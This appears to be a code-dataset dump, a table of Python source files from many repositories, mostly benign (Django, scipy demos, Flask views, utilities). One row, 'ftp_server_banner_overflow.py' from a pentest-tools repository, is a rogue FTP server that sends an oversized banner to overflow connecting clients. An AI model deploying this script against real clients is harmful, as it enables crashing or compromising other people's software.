code stringlengths 2 1.05M | repo_name stringlengths 5 104 | path stringlengths 4 251 | language stringclasses 1
value | license stringclasses 15
values | size int32 2 1.05M |
|---|---|---|---|---|---|
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "Modred.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| ShanghaitechGeekPie/LBlogger | Modred/manage.py | Python | gpl-2.0 | 249 |
import socket
import sys
def py_socket(domain, sock_type, protocol):
print "hello socket"
s = socket.socket(domain, sock_type, protocol);
print s.fileno()
print "bye socket"
sys.stdout.flush()
return s.fileno()
#return -1
| jevinskie/sneaker | pysneak_py.py | Python | gpl-2.0 | 253 |
#
# Copyright 2001 - 2006 Ludek Smid [http://www.ospace.net/]
#
# This file is part of IGE - Outer Space.
#
# IGE - Outer Space is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of t... | mozts2005/OuterSpace | server/run.py | Python | gpl-2.0 | 5,595 |
# -*- coding: utf-8 -*-
#
# Picard, the next-generation MusicBrainz tagger
#
# Copyright (C) 2007 Lukáš Lalinský
# Copyright (C) 2008-2009, 2019-2020 Philipp Wolfer
# Copyright (C) 2012-2013 Michael Wiencek
# Copyright (C) 2013-2014, 2018-2019 Laurent Monin
# Copyright (C) 2014 Sophist-UK
# Copyright (C) 2016, 2018 Sam... | Sophist-UK/Sophist_picard | picard/ui/logview.py | Python | gpl-2.0 | 10,720 |
limit = int(input("Number until multiples of 3 and 5 are counted? "))
summe = 0
for i in range(limit):
if i % 3 == 0:
summe = summe + i
if i % 5 == 0:
summe = summe + i
if i % 15 == 0:
summe = summe - i
print(summe)
| Bennson/Projects | Project Euler/001 - Multiples of 3 and 5/Multiples_of_3_and5.py | Python | gpl-2.0 | 270 |
import sys
sys.path.append('../ccmsuite')
import ccm
ccm.run('accuracy_v', 5, N=[10,20,50,100,200,500,1000,2000], states=['b', 'bv', 'bp', 'bvp']) | tcstewar/spinnbot | accuracy_v_exp.py | Python | gpl-2.0 | 146 |
# messagedialog1.py
# Demonstrate MessageDialog and showdialog.
import sys
sys.path.append("../..")
from wax import *
class MainFrame(Frame):
def Body(self):
self.AddComponent(Button(self, "one", event=self.OnClick))
self.AddComponent(Button(self, "two", event=self.OnClick2))
self.AddComp... | MSMBA/msmba-workflow | msmba-workflow/srclib/wax/examples/messagedialog1.py | Python | gpl-2.0 | 897 |
print "haha"
#
# And this is an edit
#
#
| SL775/poreden-opit | file_name.py | Python | gpl-2.0 | 45 |
from scipy.stats import t
import matplotlib.pyplot as plt
fig, ax = plt.subplots(1, 1)
# Calculate a few first moments:
df = 2.74
mean, var, skew, kurt = t.stats(df, moments='mvsk')
# Display the probability density function (``pdf``):
x = np.linspace(t.ppf(0.01, df),
t.ppf(0.99, df), 100)
ax.plot(x... | platinhom/ManualHom | Coding/Python/scipy-html-0.16.1/generated/scipy-stats-t-1.py | Python | gpl-2.0 | 1,030 |
# Installation and configuration of a Grid UI on Mac OS X
#
# Copyright (C) 2014 Manuel Giffels <giffels@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either versi... | giffels/OSXGridUI | src/python/osxgridui/tools.py | Python | gpl-2.0 | 2,299 |
import Gears as gears
from .. import *
from .SingleShape import *
class Image(SingleShape) :
def boot(
self,
*,
duration : 'Stimulus time in frames (unless superseded by duration_s).'
= 1,
duration_s : 'Stimulus time in sec... | szecsi/Gears | GearsPy/Project/Components/Stimulus/Image.py | Python | gpl-2.0 | 1,692 |
# coding: utf-8
# Module: wsgi_server
# Created on: 01.07.2015
# Author: Roman Miroshnychenko aka Roman V.M. (romanvm@yandex.ua)
# License: GPL v.3 https://www.gnu.org/copyleft/gpl.html
"""
Custom WSGI Server and RequestHandler
"""
from wsgiref.simple_server import WSGIServer, WSGIRequestHandler, make_server
from Sock... | kreatorkodi/repository.torrentbr | plugin.video.yatp/libs/server/wsgi_server.py | Python | gpl-2.0 | 1,036 |
from socket import *
s = socket(AF_INET, SOCK_STREAM )
s.bind(("0.0.0.0",21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()
print "[+] Connecting accepted from: %s" % (addr[0])
payload = "\x41"*1500
c.send("220 "+payload+"r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.cl... | cduram/pentest_tools | Python/ftp_server_banner_overflow.py | Python | gpl-2.0 | 326 |
#! /usr/bin/env python
'''
icinga_notify.py
Matt Jones caffeinatedengineering@gmail.com
Created 02.26.14
Last Update 04.09.14n
Notes:
Usage:
ToDo:
'''
import os
import argparse
import sys
import smtplib
import socket
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText... | yieldbot/dhoulmagus | bin/icinga_notify.py | Python | gpl-2.0 | 7,536 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'zhangwenwen'
import time, uuid, functools, threading, logging
#Dict object:
class Dict(dict):
def __init__(self, names=(), values=(), **kw):
super(Dict, self).__init__(**kw)
for k, v in zip(names, values):
self[k] = v
d... | wen1q84/awesome-python-webapp | www/transwarp/db.py | Python | gpl-2.0 | 10,402 |
# -*- coding: utf-8 -*-
# vim:expandtab:autoindent:tabstop=4:shiftwidth=4:filetype=python:textwidth=0:
# License: GPL2 or later see COPYING
# Written by Seth Vidal
# Copyright (C) 2012 Red Hat, Inc
# this plugin dumps out two lists of pkgs:
# A list of all available pkgs + repos + other data
# A list of all installed ... | ianburrell/mock | py/mockbuild/plugins/package_state.py | Python | gpl-2.0 | 3,204 |
from scipy.stats import halflogistic
import matplotlib.pyplot as plt
fig, ax = plt.subplots(1, 1)
# Calculate a few first moments:
mean, var, skew, kurt = halflogistic.stats(moments='mvsk')
# Display the probability density function (``pdf``):
x = np.linspace(halflogistic.ppf(0.01),
halflogistic.ppf... | platinhom/ManualHom | Coding/Python/scipy-html-0.16.1/generated/scipy-stats-halflogistic-1.py | Python | gpl-2.0 | 1,100 |
from flask import Response
from flask.views import View
from bson import json_util
from mcp import mongo
class BudgetType(View):
# /<string:komuna>/budget-type/<int:year>
# /budget-type/<string:komuna>/<int:year>
# /budget-type/<string:company_slug>
def dispatch_request(self, komuna=None, year=None, ... | opendatakosovo/municipality-procurement-api | mcp/views/budget.py | Python | gpl-2.0 | 2,434 |
# -*- coding: utf-8 -*-
"""
* Copyright (C) 2011-2016, it-novum GmbH <community@openattic.org>
*
* openATTIC is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2.
*
* This package is distribu... | openattic/openattic | backend/userprefs/models.py | Python | gpl-2.0 | 2,420 |
#!/usr/bin/env python3
# Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2.
import logging
import os
from typing import Dict, Optional
from eden.integration.lib import hgrepo
from .lib.hg_extension_tes... | facebookexperimental/eden | eden/integration/hg/undo_test.py | Python | gpl-2.0 | 2,575 |
# -*- coding: utf-8 -*-
'''
Specto Add-on
Copyright (C) 2015 lambda
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any l... | repotvsupertuga/repo | plugin.video.zen/resources/lib/modules/favourites.py | Python | gpl-2.0 | 3,527 |
import fsui
class ImageButton(fsui.ImageButton):
pass
| FrodeSolheim/fs-uae-launcher | workspace/ui/image_button.py | Python | gpl-2.0 | 60 |
# ~*~ coding: utf-8 ~*~
from rest_framework import serializers
class InsecureCommandAlertSerializer(serializers.Serializer):
input = serializers.CharField()
asset = serializers.CharField()
user = serializers.CharField()
risk_level = serializers.IntegerField()
session = serializers.UUIDField()
| skyoo/jumpserver | apps/terminal/serializers/command.py | Python | gpl-2.0 | 316 |
#
# Copyright (C) 2016 The CyanogenMod Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... | nian0114/android_device_xiaomi_virgo | releasetools/releasetools.py | Python | gpl-2.0 | 994 |
#!/usr/bin/python
############################################################################
# Copyright (C) 2005 by JTP #
# jtpowell at hotmail dot com #
# ... | tecan/xchat-rt | plugins/scripts/cancelbot-code-55/googlebot/googlebot.py | Python | gpl-2.0 | 7,044 |
from setuptools import setup, find_packages
with open('README.rst', 'r') as inp:
LONG_DESCRIPTION = inp.read()
setup(
name='django-exchange-docs',
version='1.3.1',
author='Boundless Spatial',
author_email='contact@boundlessgeo.com',
url='https://github.com/boundlessgeo/exchange-documentation',... | staceyberry/exchange-documentation | setup.py | Python | gpl-2.0 | 1,137 |
from django import forms
from utils.static import static_url
from django.utils.encoding import force_unicode
from django.utils.safestring import mark_safe
from django.forms.util import flatatt
from django.template.loader import render_to_string
class TagEdit(forms.TextInput):
def render(self, name, value, attrs=N... | mivanov/editkit | editkit/tags/widgets.py | Python | gpl-2.0 | 1,136 |
# pylint: disable=too-many-lines
from unittest import TestCase
from pcs_test.tools.misc import outdent
from pcs.lib.corosync import config_parser
class SectionTest(TestCase):
def test_empty_section(self):
section = config_parser.Section("mySection")
self.assertEqual(section.parent, None)
... | feist/pcs | pcs_test/tier0/lib/corosync/test_config_parser.py | Python | gpl-2.0 | 43,397 |
# -*- coding: utf-8 -*-
#
# Gramps - a GTK+/GNOME based genealogy program
#
# Copyright (C) 2005-2007 Donald N. Allingham
# Copyright (C) 2008-2009 Gary Burton
# Copyright (C) 2009-2012 Doug Blank <doug.blank@gmail.com>
# Copyright (C) 2011 Tim G L Lyons
#
# This program is free software; you can redistribute... | pmghalvorsen/gramps_branch | gramps/gen/config.py | Python | gpl-2.0 | 14,580 |
from bspanalysis_exceptions import CommandException
from bspanalysis_validation import validateLump
from bspdefs_base import BSPKnownLump
DUMPLIGHTMAP_DESCRIPTION = "<surfaceIndex> <outFile> Dumps lightmap data from the specified surface into the specified TGA file."
def loadLumpData(bspFile, knownLump):
header = bs... | x6herbius/afterburner | tools/bsp/bspanalysis/bspanalysis_dumplightmap.py | Python | gpl-3.0 | 1,113 |
# -*- coding: utf-8 -*-
#
# Annotator documentation build configuration file, created by
# sphinx-quickstart on Wed Jan 22 17:02:43 2014.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
#... | amandavisconti/infinite-ulysses-dissertation | The Code/Old, defunct code in all states/10-15-2014_CompiledAnnotatorJSv2dev/doc/conf.py | Python | gpl-3.0 | 8,759 |
# Generated by Django 2.0.2 on 2018-03-19 15:26
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('website', '0006_auto_20180216_1618'),
]
operations = [
migrations.AddField(
model_name='news',
name='thumbnail',
... | htmfilho/boust | website/migrations/0007_auto_20180319_1526.py | Python | gpl-3.0 | 576 |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-09-12 14:17
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0022_user_created_from_ip'),
]
operations = [
migrations.AlterField... | pashinin-com/pashinin.com | src/core/migrations/0023_auto_20170912_1717.py | Python | gpl-3.0 | 574 |
# 134. Gas Station QuestionEditorial Solution My Submissions
# Total Accepted: 72748
# Total Submissions: 256809
# Difficulty: Medium
# Contributors: Admin
# There are N gas stations along a circular route, where the amount of gas at station i is gas[i].
#
# You have a car with an unlimited gas tank and it costs co... | shawncaojob/LC | PY/134_gas_station.py | Python | gpl-3.0 | 1,391 |
import sys
from .requests_test import RequestsTest
class IDORTest(RequestsTest):
def test(self):
if self.DEBUG: print("Run the IDOR Tests")
passed = True
failed = 0
result = 'PASS'
result_text = []
messages = []
url = self.domain['protocol'] + self.domain['h... | sethlaw/sputr | tests/idor_test.py | Python | gpl-3.0 | 1,840 |
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
import json
from frappe.utils import cstr, flt, cint
from frappe import msgprint, _
from frappe.model.mapper import get_mapped_doc
from er... | Zlash65/erpnext | erpnext/buying/doctype/purchase_order/purchase_order.py | Python | gpl-3.0 | 18,336 |
# -*- coding: utf-8 -*-
#El algoritmo de Euclides para encontrar MCD(A,B) es como sigue:
##Si A = 0 entonces MCD(A,B)=B, ya que el MCD(0,B)=B, y podemos detenernos.
##Si B = 0 entonces MCD(A,B)=A, ya que el MCD(A,0)=A, y podemos detenernos.
##Escribe A en la forma cociente y residuo (A = B ⋅Q + R).
##Encuentra MCD(B,R)... | santi30/RecursividadPython | Programas/m_c_d.py | Python | gpl-3.0 | 654 |
import unittest
import mock
import os
import sys
sys.path.insert(0, os.path.abspath("."))
from MambuPy.mambuutil import MambuPyError
from MambuPy.api import mambugroup
class MambuGroup(unittest.TestCase):
def test_has_properties(self):
mg = mambugroup.MambuGroup()
self.assertEqual(mg._prefix, "g... | jstitch/MambuPy | tests/api/unit_mambugroup.py | Python | gpl-3.0 | 1,809 |
import socket
import psycopg2
conn = psycopg2.connect("dbname=gonibus user=postgres")
conn.set_isolation_level(0) # set autocommit
def insertLocalization(placa, lat, lon):
cur = conn.cursor()
try:
cur.execute("INSERT INTO Localization VALUES (DEFAULT, (SELECT id_onibus FROM Onibus WHERE placa = '{0}'... | matheussampaio/monitoramento_onibus | src/utils/server.py | Python | gpl-3.0 | 813 |
# -*- coding: utf-8 -*-
# $Id$
from zope.interface import Interface
class IAlias(Interface):
"""Marker interface for the type"""
pass
class IAliasTool(Interface):
"""Marker interface for SimpleAlias tool"""
class IAliasLinkedTo(Interface):
"""
Marker interface for objects that Alias' link to.
... | collective/Products.SimpleAlias | Products/SimpleAlias/interfaces/alias.py | Python | gpl-3.0 | 387 |
#coding:utf-8
from django.shortcuts import render,redirect
from django.template.context_processors import request
from django.http.response import HttpResponse
from django.shortcuts import render_to_response
from forms import userregister,codecommit
from models import userinfo,hostinfo,saltcommandhistory,codeupdate
fro... | yxxhero/cmdb | cmdbserver/server/views.py | Python | gpl-3.0 | 12,086 |
from ui import UI
from lazzormanager import LazzorManager
| schneider42/lazzormanagement | lazzormanagement/__init__.py | Python | gpl-3.0 | 58 |
#
# Copyright (C) 2009 Juan Pedro Bolivar Puente, Alberto Villegas Erce
#
# This file is part of Pidgeoncide.
#
# Pidgeoncide is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 3 of the
# L... | arximboldi/pigeoncide | src/base/singleton.py | Python | gpl-3.0 | 1,072 |
#!/usr/bin/env python
# Copyright 2012 Cory Koch
#
# This file is part of PrayerTimes.
#
# PrayerTimes is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) an... | ckoch786/PrayerTimes | src/prayertimes_gui.py | Python | gpl-3.0 | 3,016 |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# Copyright 2010-2013 Código Sur Sociedad Civil.
# All rights reserved.
#
# This file is part of Cyclope.
#
# Cyclope is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundat... | MauHernandez/cyclope | cyclope/apps/custom_comments/models.py | Python | gpl-3.0 | 3,255 |
#!/usr/bin/env python
# coding=utf-8
"""
PySmaz a Python port of the SMAZ short string text compression library.
Python port by Max Smith
Smaz by Salvatore Sanfilippo
BSD license per original C implementation at https://github.com/antirez/smaz
Except for text samples which are in the public domain and from:
The ACT ... | brianhouse/jute | smaz.py | Python | gpl-3.0 | 29,396 |
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hive_master.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| NeCTAR-RC/hive_master | manage.py | Python | gpl-3.0 | 254 |
"""Upgrade TestSuite for validating Satellite Content Views existence
post upgrade
:Requirement: Upgraded Satellite
:CaseAutomation: Automated
:CaseLevel: System
:CaseComponent: ContentViews
:TestType: nonfunctional
:CaseImportance: High
:SubType1: installability
:Upstream: No
"""
import pytest
from upgrade_te... | SatelliteQE/satellite6-upgrade | upgrade_tests/test_existance_relations/api/test_contentviews.py | Python | gpl-3.0 | 973 |
#######################################################################################################################
# Copyright (C) 2016 Regents of the University of California
#
# This is free software: you can redistribute it and/or modify it under the terms of the
# GNU General Public License (GNU GPL) as publi... | ProjectIDA/ical | gui/progress_dlg.py | Python | gpl-3.0 | 6,082 |
from numpy import matrix, transpose, insert
from csv import reader
from NormalEquation import normalEquation
with open('ex1data2.txt', 'r') as fp:
r = reader(fp, delimiter=',')
a = []
b = []
for row in r:
[x, y, z] = int(row[0]), int(row[1]), int(row[2])
a.append([x, y])
b.appen... | gppg1994/Machine_Learning | Price_Prediction_2/Main.py | Python | gpl-3.0 | 1,191 |
#
# core.py
#
# Copyright (C) 2007-2009 Andrew Resch <andrewresch@gmail.com>
#
# Deluge is free software.
#
# You may redistribute it and/or modify it under the terms of the
# GNU General Public License, as published by the Free Software
# Foundation; either version 3 of the License, or (at your option)
# any later ver... | inaz2/deluge-hack | deluge/core/core.py | Python | gpl-3.0 | 30,715 |
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
##############################################################################
# NetatmoInflux
#
# Python script for importing Netatmo data into an InfluxDB.
#
# (C) 2015-2019, Ulrich Thiel
# ulrich.thiel@sydney.edu.au
####################################################... | thielul/WeatherStats | Initialize.py | Python | gpl-3.0 | 12,466 |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from .models import User
class UserAdmin(UserAdmin):
fieldsets = (
('User', {'fields' : ('username', 'password')}),
('Personal Information', {'fields': ('first_name',
'last_... | AlexandroPQC/django_discusion | SistemaDiscusiones/users/admin.py | Python | gpl-3.0 | 735 |
from lxml import html
import csv, os, json
import requests
from exceptions import ValueError
from time import sleep
import urllib
import lxml.html
AsinList = ""
data = []
extracted_data_amazon_india = []
amazindialist = []
def AmazonParser(papa):
url = "http://www.amazon.in/dp/" + papa
print "Processing: " +... | smartyrad/Python-scripts-for-web-scraping | amazon_india_searchplusdetails.py | Python | gpl-3.0 | 3,121 |
# This file is part of Slocky
#
# Slocky is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Slocky is distributed in the hope that it... | Aeva/slocky | slocky/words.py | Python | gpl-3.0 | 6,203 |
from labtracker.tests.functional_tests import *
from labtracker.tests.unit_tests import *
| danielstjules/labtracker | labtracker/tests/__init__.py | Python | gpl-3.0 | 90 |
import sys, glob, os
import shutil
import libreosteoweb
version = libreosteoweb.__version__
# Utility function to read the README file.
# Used for the long_description. It's nice, because now 1) we have a top level
# README file and 2) it's easier to type in the README file than to put a raw
# string in below ...
... | littlejo/Libreosteo | setup.py | Python | gpl-3.0 | 16,733 |
from django.conf.urls import url
from .views import *
urlpatterns = [
url(r'^registro$', registro, name='registro'),
url(r'^exportar_usuarios$', exportarUsuarios, name='exportar_usuarios'),
url(r'^perfil_usuario/(?P<pid>\d+)$', perfilUsuario, name='perfil_usuario'),
]
| corumcorp/redsentir | redsentir/seguridad/urls.py | Python | gpl-3.0 | 282 |
#!/usr/bin/env python3
# -*- coding: utf8; -*-
#
# Copyright (C) 2017-2018 : Kathrin Hanauer
#
# This file is part of LaFlaTeX.
#
# LaFlaTeX is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of ... | kalyi/LaFlaTeX | src/laflatex.py | Python | gpl-3.0 | 4,998 |
#!/usr/bin/env python3
# encoding: UTF-8
"""Build tar.gz for pygubu
Needed packages to run (using Debian/Ubuntu package names):
python3-tk
"""
import sys
import os
import shutil
import platform
import pygubu
VERSION = pygubu.__version__
with_setuptools = False
if 'USE_SETUPTOOLS' in os.environ or 'pip' in __f... | mhcrnl/pygubu | setup.py | Python | gpl-3.0 | 4,877 |
from optparse import OptionParser
import pandas as pd
def firma_molecular_graph(fm):
data = []
for i, row in fm.iterrows():
data.append({
"source": row["fm"],
"target": row["fm_gene"],
"value": 1})
return data
def signature_graph(genes):
data = []
for ... | elaeon/breast_cancer_networks | sankey/script2.py | Python | gpl-3.0 | 1,634 |
from itertools import chain
from django import template
from django.db.models import Q
from django.forms import HiddenInput
import ws.utils.perms as perm_utils
from ws import models
from ws.enums import Program, TripType
from ws.forms import SignUpForm
from ws.mixins import LotteryPairingMixin
from ws.utils.dates imp... | DavidCain/mitoc-trips | ws/templatetags/signup_tags.py | Python | gpl-3.0 | 8,567 |
"""
Demo - pressing a key by ACT-R model. It corresponds to 'demo2' in Lisp ACT-R, unit 2.
"""
import string
import random
import warnings
import tkinter as tk #delete later
import pyactr as actr
stimulus = random.sample(string.ascii_uppercase, 1)[0]
text = {1: {'text': stimulus, 'position': (100,100)}}
environ = ac... | jakdot/pyactr | tutorials/u2_demo.py | Python | gpl-3.0 | 1,867 |
# -*- coding: utf-8 -*-
# Copyright (c) 2007-2012 by Enrique Pérez Arnaud <enriquepablo@gmail.com>
#
# This file is part of nlproject.
#
# The nlproject is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either v... | enriquepablo/nl | nl/metanl.py | Python | gpl-3.0 | 29,523 |
impath = "image\\"
images = {
"base" :{
"buttonCombat" : impath + "button_combat.png",
"buttonEvent" : impath + "button_event.png",
"buttonFormation" : impath + "button_formation.png",
"iconMoreResource": impath + "icon_more_resource.png",
"playerName" : impath +... | tripack45/GirlsFrontline-Assistant | resource/__init__.py | Python | gpl-3.0 | 1,647 |
import pytest # noqa
from PIL import Image
import filecmp
import os
import utilities
from ..automation import CommandSequence
from ..automation import TaskManager
url_a = utilities.BASE_TEST_URL + '/simple_a.html'
url_b = utilities.BASE_TEST_URL + '/simple_b.html'
url_c = utilities.BASE_TEST_URL + '/simple_c.html'
ur... | Jasonmk47/OpenWPM | test/test_simple_commands.py | Python | gpl-3.0 | 9,828 |
# -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-01-14 05:00
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app', '0002_month'),
]
operations = [
migr... | piyushhajare/Wage_Management | app/migrations/0003_auto_20170114_1030.py | Python | gpl-3.0 | 740 |
"""This file contains code for use with "Think Stats" and
"Think Bayes", both by Allen B. Downey, available from greenteapress.com
Copyright 2014 Allen B. Downey
License: GNU GPLv3 http://www.gnu.org/licenses/gpl.html
"""
from __future__ import print_function, division
"""This file contains class definitions for:
H... | smorton2/think-stats | code/thinkstats2.py | Python | gpl-3.0 | 70,025 |
"""Get CO2 emission data from the UK CarbonIntensity API"""
__author__ = "Danang Haris Setiawan"
__email__ = "mr.danangharissetiawan@gmail.com"
__github__ = "https://github.com/danangharissetiawan/"
from datetime import date
import requests
BASE_URL = "https://api.carbonintensity.org.uk/intensity"
# Emission in th... | OpenGenus/cosmos | code/languages/python/web_programming/co2_emission.py | Python | gpl-3.0 | 854 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright © 2015 Simon Forman
#
# This file is part of Eumirion.
#
# Eumirion is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 o... | PhoenixBureau/eumirion | eumi/server.py | Python | gpl-3.0 | 3,593 |
# Copyright (c) 2009 Bea Lam. All rights reserved.
#
# This file is part of LightBlue.
#
# LightBlue is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any l... | manuelnaranjo/LightBlue---Mac | src/mac/_IOBluetoothUI.py | Python | gpl-3.0 | 2,061 |
# -*- coding: utf-8 -*-
#
# sample documentation build configuration file, created by
# sphinx-quickstart on Mon Apr 16 21:22:43 2012.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All ... | agrausem/python-spore-codec | docs/conf.py | Python | gpl-3.0 | 7,805 |
from restriction_enzymes import map_re_sites
| yuanbaowen521/tadbit | _pytadbit/mapping/__init__.py | Python | gpl-3.0 | 46 |
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sip
sip.setapi(u'QDate', 2)
sip.setapi(u'QDateTime', 2)
sip.setapi(u'QString', 2)
sip.setapi(u'QTextStream', 2)
sip.setapi(u'QTime', 2)
sip.setapi(u'QUrl', 2)
sip.setapi(u'QVariant', 2)
if __name__ == "__main__":
from PyQt4 import QtGui
from f_main import fMai... | tedlaz/pyted | misthodosia/m13/m13.py | Python | gpl-3.0 | 651 |
# -*- coding: UTF-8 -*-
#! python3 # noqa E265
"""Usage from the repo root folder:
```python # for whole test python -m unittest tests.test_thesauri # for
specific python -m unittest
tests.test_thesauri.TestThesauri.test_thesauri ```
"""
# ############################################################################... | Guts/isogeo-api-py-minsdk | tests/test_thesauri.py | Python | gpl-3.0 | 5,001 |
""" This is the StorageElement class.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# # custom duty
import six
import copy
import datetime
import errno
import os
import re
import sys
import threading
import time
from functools import reduce
# # fro... | yujikato/DIRAC | src/DIRAC/Resources/Storage/StorageElement.py | Python | gpl-3.0 | 55,195 |
# -*- coding: utf-8 -*-
##############################################################################
#
# SheetMetalFoldCmd.py
#
# Copyright 2015 Shai Seger <shaise at gmail dot com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as p... | shaise/FreeCAD_SheetMetal | SheetMetalFoldCmd.py | Python | gpl-3.0 | 14,138 |
##############################################################################
#
# Copyright (c) 2004 Zope Corporation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.0 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SO... | Donkyhotay/MoonPy | zope/i18n/tests/test_testmessagecatalog.py | Python | gpl-3.0 | 881 |
#
# The MIT License (MIT)
#
# Copyright (c) 2015 Philippe Faist
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy... | Xunius/Menotexport | lib/pylatexenc/version.py | Python | gpl-3.0 | 1,149 |
# Copyright (C) 2010 Michael Mathieu <michael.mathieu@ens.fr>
#
# This file is part of visiongrader.
#
# visiongrader is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at... | rodrigob/visiongrader | src/parsers/inria_bool.py | Python | gpl-3.0 | 2,233 |
#!/usr/bin/python3
# -*- coding: utf-8 -*-
'''Pychemqt, Chemical Engineering Process simulator
Copyright (C) 2009-2017, Juan José Gómez Romera <jjgomera@gmail.com>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Softwar... | jjgomera/pychemqt | lib/mEoS/neoC5.py | Python | gpl-3.0 | 5,119 |
"""
WSGI config for urbanmaps project.
This module contains the WSGI application used by Django's development server
and any production WSGI deployments. It should expose a module-level variable
named ``application``. Django's ``runserver`` and ``runfcgi`` commands discover
this application via the ``WSGI_APPLICATION`... | thefinn93/urbanmaps | urbanmaps/wsgi.py | Python | gpl-3.0 | 1,428 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
from game.cards.card import Card, ACTION, VICTORY, ATTACK, TREASURE
from game.cards.common import Curse, Duchy, Gold
#TODO golem/possesion
class Philosophersstone(Card):
cardtype = TREASURE
cost = (3, 1)
name = "Philosopher's Stone"
def buy_step(sel... | luisgustavossdd/TBD | game/cards/alchemy.py | Python | gpl-3.0 | 8,822 |
from logging import getLogger
from sqlalchemy import Table
from ckan.lib.base import config
from ckan import model
from ckan.model import Session
from ckan.model import meta
from ckan.model.domain_object import DomainObject
from ckanext.spatial.geoalchemy_common import setup_spatial_table
log = getLogger(__name__)
... | NicoVarg99/daf-recipes | ckan/ckan/ckanext-spatial/ckanext/spatial/model/package_extent.py | Python | gpl-3.0 | 2,051 |
"""
pyrsb demo
"""
import numpy
import scipy
from scipy.sparse import csr_matrix
from pyrsb import *
V = [11.0, 12.0, 22.0]
I = [0, 0, 1]
J = [0, 1, 1]
a = rsb_matrix((V, (I, J)))
nrhs = 4 # set to nrhs>1 to multiply by multiple vectors at once
nr = a.shape[0]
nc = a.shape[1]
# Choose Fortran or "by columns" order... | michelemartone/pyrsb | demo2.py | Python | gpl-3.0 | 929 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import json
import zmq
import sys
import time
from socket import *
import Queue
import select
import threading
from obci.control.common.message import OBCIMessageTool, send_msg, recv_msg, PollingObject
from obci.control.launcher.launcher_messages import message_templates, err... | BrainTech/openbci | obci/control/launcher/server_scanner.py | Python | gpl-3.0 | 3,062 |
import textwrap
from magic import decklist
def test_parse() -> None:
s = """
3 Barter in Blood
4 Consume Spirit
4 Demonic Rising
4 Devour Flesh
2 Distress
2 Dread Statuary
4 Haunted Plate Mail
3 Homicidal Seclusion
4 Hymn to Tourach
... | PennyDreadfulMTG/Penny-Dreadful-Tools | magic/decklist_test.py | Python | gpl-3.0 | 18,700 |
'''
Created on 27.08.2012
@author: vvolkov
'''
import os
from PyQt4 import QtCore
from reggata.helpers import to_db_format
from reggata.data.db_schema import User
from reggata.data.commands import GetExpungedItemCommand
from reggata.logic.abstract_tool import AbstractTool
from reggata.logic.abstract_tool_gui import Abs... | vlkv/reggata | reggata/tests/test_action_handlers.py | Python | gpl-3.0 | 11,701 |
#!/usr/bin/python
#-*- coding: utf-8 -*-
"""
(c) 2014 - Copyright Pierre-Yves Chibon
Author: Pierre-Yves Chibon <pingou@pingoured.fr>
